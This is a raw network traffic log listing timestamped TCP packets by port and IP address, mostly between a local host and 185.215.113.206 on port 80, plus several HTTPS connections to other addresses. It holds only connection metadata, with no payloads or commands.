Nov 17, 2024 01:38:50.230911016 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:50.230937958 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:50.230952978 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:50.230952978 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:50.230964899 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:50.230976105 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:50.230989933 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:50.231010914 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:50.231031895 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:50.231137037 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:50.231182098 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:50.231204987 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:50.231214046 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:50.231240988 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:50.231246948 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:50.231257915 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:50.231257915 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:50.231268883 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:50.231287003 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:50.231329918 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:50.231429100 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:50.231440067 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:50.231448889 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:50.231467962 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:50.231492996 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:50.231564999 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:50.231602907 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:50.231614113 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:50.231625080 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:50.231642008 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:50.231669903 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:50.231776953 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:50.231787920 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:50.231797934 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:50.231807947 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:50.231822014 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:50.231849909 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:50.242403030 CET	56775	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:50.266863108 CET	443	56776	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:50.269470930 CET	443	56777	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:50.272428036 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:50.272464037 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:50.272485018 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:50.272526979 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:50.272619963 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:50.272661924 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:50.272684097 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:50.272695065 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:50.272705078 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:50.272727966 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:50.272753954 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:50.272753954 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:50.297662973 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:50.297885895 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:50.297926903 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:50.297960997 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:50.297996044 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:50.298005104 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:50.298015118 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:50.298024893 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:50.298026085 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:50.298037052 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:50.298048019 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:50.298052073 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:50.298057079 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:50.298086882 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:50.298103094 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:50.304478884 CET	443	56773	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:50.304507017 CET	443	56773	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:50.304548025 CET	56773	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:50.304559946 CET	443	56773	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:50.304572105 CET	443	56773	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:50.304610014 CET	56773	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:50.307071924 CET	56777	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:50.307090044 CET	443	56777	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:50.307738066 CET	56777	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:50.307744026 CET	443	56777	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:50.308712006 CET	56774	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:50.308732033 CET	443	56774	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:50.309154987 CET	56774	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:50.309160948 CET	443	56774	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:50.309331894 CET	56772	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:50.309344053 CET	443	56772	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:50.314615965 CET	56776	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:50.326678991 CET	56775	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:50.326688051 CET	443	56775	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:50.329137087 CET	56775	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:50.329148054 CET	443	56775	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:50.332225084 CET	56773	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:50.332233906 CET	443	56773	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:50.337989092 CET	56776	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:50.338006020 CET	443	56776	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:50.338551998 CET	56776	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:50.338557959 CET	443	56776	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:50.345055103 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:50.345078945 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:50.345088959 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:50.345114946 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:50.345150948 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:50.345211983 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:50.345222950 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:50.345241070 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:50.345252991 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:50.345257998 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:50.345264912 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:50.345278025 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:50.345304966 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:50.345475912 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:50.345515966 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:50.345527887 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:50.345556021 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:50.345581055 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:50.345606089 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:50.345618963 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:50.345628977 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:50.345645905 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:50.345664978 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:50.345808029 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:50.345853090 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:50.345855951 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:50.345863104 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:50.345876932 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:50.345896959 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:50.345899105 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:50.345907927 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:50.345921040 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:50.345932007 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:50.345951080 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:50.345988035 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:50.346036911 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:50.346077919 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:50.346096992 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:50.346110106 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:50.346122026 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:50.346137047 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:50.346157074 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:50.346177101 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:50.346199036 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:50.346210957 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:50.346223116 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:50.346246004 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:50.346263885 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:50.346282959 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:50.346349955 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:50.346362114 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:50.346374035 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:50.346390009 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:50.346410990 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:50.346426964 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:50.346476078 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:50.346487999 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:50.346498966 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:50.346523046 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:50.346549988 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:50.346605062 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:50.346632957 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:50.346642971 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:50.346663952 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:50.346682072 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:50.346688032 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:50.346723080 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:50.346726894 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:50.346740961 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:50.346776962 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:50.346895933 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:50.346906900 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:50.346920013 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:50.346929073 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:50.346940041 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:50.346945047 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:50.346951962 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:50.346959114 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:50.346981049 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:50.347120047 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:50.347132921 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:50.347145081 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:50.347161055 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:50.347182989 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:50.353162050 CET	56783	443	192.168.2.6	18.244.18.122
Nov 17, 2024 01:38:50.353193998 CET	443	56783	18.244.18.122	192.168.2.6
Nov 17, 2024 01:38:50.353270054 CET	56783	443	192.168.2.6	18.244.18.122
Nov 17, 2024 01:38:50.353478909 CET	56783	443	192.168.2.6	18.244.18.122
Nov 17, 2024 01:38:50.353492975 CET	443	56783	18.244.18.122	192.168.2.6
Nov 17, 2024 01:38:50.358294010 CET	443	56778	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:50.358784914 CET	56778	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:50.358814001 CET	443	56778	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:50.359256029 CET	56778	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:50.359260082 CET	443	56778	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:50.387911081 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:50.387929916 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:50.387938976 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:50.387968063 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:50.387973070 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:50.387978077 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:50.387988091 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:50.388036013 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:50.388036013 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:50.388036013 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:50.413157940 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:50.413233995 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:50.413350105 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:50.413361073 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:50.413367033 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:50.413376093 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:50.413384914 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:50.413395882 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:50.413399935 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:50.413403034 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:50.413424969 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:50.413455009 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:50.435154915 CET	443	56777	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:50.435177088 CET	443	56774	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:50.435226917 CET	443	56777	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:50.435285091 CET	56777	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:50.435602903 CET	56777	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:50.435619116 CET	443	56777	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:50.435627937 CET	56777	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:50.435632944 CET	443	56777	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:50.436759949 CET	443	56774	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:50.436814070 CET	56774	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:50.436824083 CET	443	56774	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:50.436892986 CET	443	56774	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:50.436969042 CET	56774	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:50.437022924 CET	56774	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:50.437028885 CET	443	56774	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:50.437076092 CET	56774	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:50.437079906 CET	443	56774	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:50.441473007 CET	56785	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:50.441507101 CET	443	56785	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:50.441648960 CET	56785	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:50.442123890 CET	56785	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:50.442137957 CET	443	56785	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:50.442496061 CET	56786	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:50.442519903 CET	443	56786	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:50.442569017 CET	56786	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:50.442812920 CET	56786	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:50.442823887 CET	443	56786	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:50.453277111 CET	443	56775	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:50.453573942 CET	443	56775	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:50.453641891 CET	56775	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:50.453696012 CET	56775	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:50.453707933 CET	443	56775	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:50.453741074 CET	56775	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:50.453746080 CET	443	56775	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:50.456676006 CET	56787	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:50.456692934 CET	443	56787	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:50.456775904 CET	56787	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:50.456931114 CET	56787	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:50.456945896 CET	443	56787	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:50.458441019 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:50.458450079 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:50.458555937 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:50.460447073 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:50.460464954 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:50.460474968 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:50.460517883 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:50.460527897 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:50.460534096 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:50.460544109 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:50.460555077 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:50.460555077 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:50.460593939 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:50.460593939 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:50.460628986 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:50.460674047 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:50.460727930 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:50.460737944 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:50.460755110 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:50.460762978 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:50.460772038 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:50.460803986 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:50.460810900 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:50.460822105 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:50.460832119 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:50.460856915 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:50.460882902 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:50.461198092 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:50.461208105 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:50.461220026 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:50.461244106 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:50.461270094 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:50.465796947 CET	443	56776	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:50.465818882 CET	443	56776	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:50.465867996 CET	443	56776	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:50.465878963 CET	56776	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:50.465925932 CET	56776	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:50.466517925 CET	56776	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:50.466517925 CET	56776	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:50.466531038 CET	443	56776	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:50.466538906 CET	443	56776	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:50.477550983 CET	56788	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:50.477580070 CET	443	56788	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:50.477632046 CET	56788	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:50.478517056 CET	56788	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:50.478534937 CET	443	56788	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:50.486574888 CET	443	56778	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:50.486632109 CET	443	56778	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:50.486761093 CET	443	56778	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:50.486833096 CET	56778	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:50.488971949 CET	56778	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:50.488971949 CET	56778	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:50.488991022 CET	443	56778	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:50.489002943 CET	443	56778	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:50.491518974 CET	56789	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:50.491550922 CET	443	56789	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:50.491822004 CET	56789	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:50.492105007 CET	56789	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:50.492120981 CET	443	56789	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:50.509190083 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:50.515856028 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:50.580082893 CET	443	56779	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:50.580719948 CET	56779	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:50.580737114 CET	443	56779	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:50.581163883 CET	443	56779	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:50.581712961 CET	56779	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:50.581782103 CET	443	56779	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:50.582910061 CET	56779	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:50.627329111 CET	443	56779	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:50.712594032 CET	443	56779	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:50.712778091 CET	443	56779	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:50.713346958 CET	56779	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:50.736994982 CET	56779	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:50.737018108 CET	443	56779	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:50.790524006 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:50.790606976 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:50.790617943 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:50.790631056 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:50.790648937 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:50.790661097 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:50.790673971 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:50.790672064 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:50.790723085 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:50.790746927 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:50.790757895 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:50.790770054 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:50.790782928 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:50.790791035 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:50.790805101 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:50.790853024 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:50.790864944 CET	80	49911	185.215.113.206	192.168.2.6
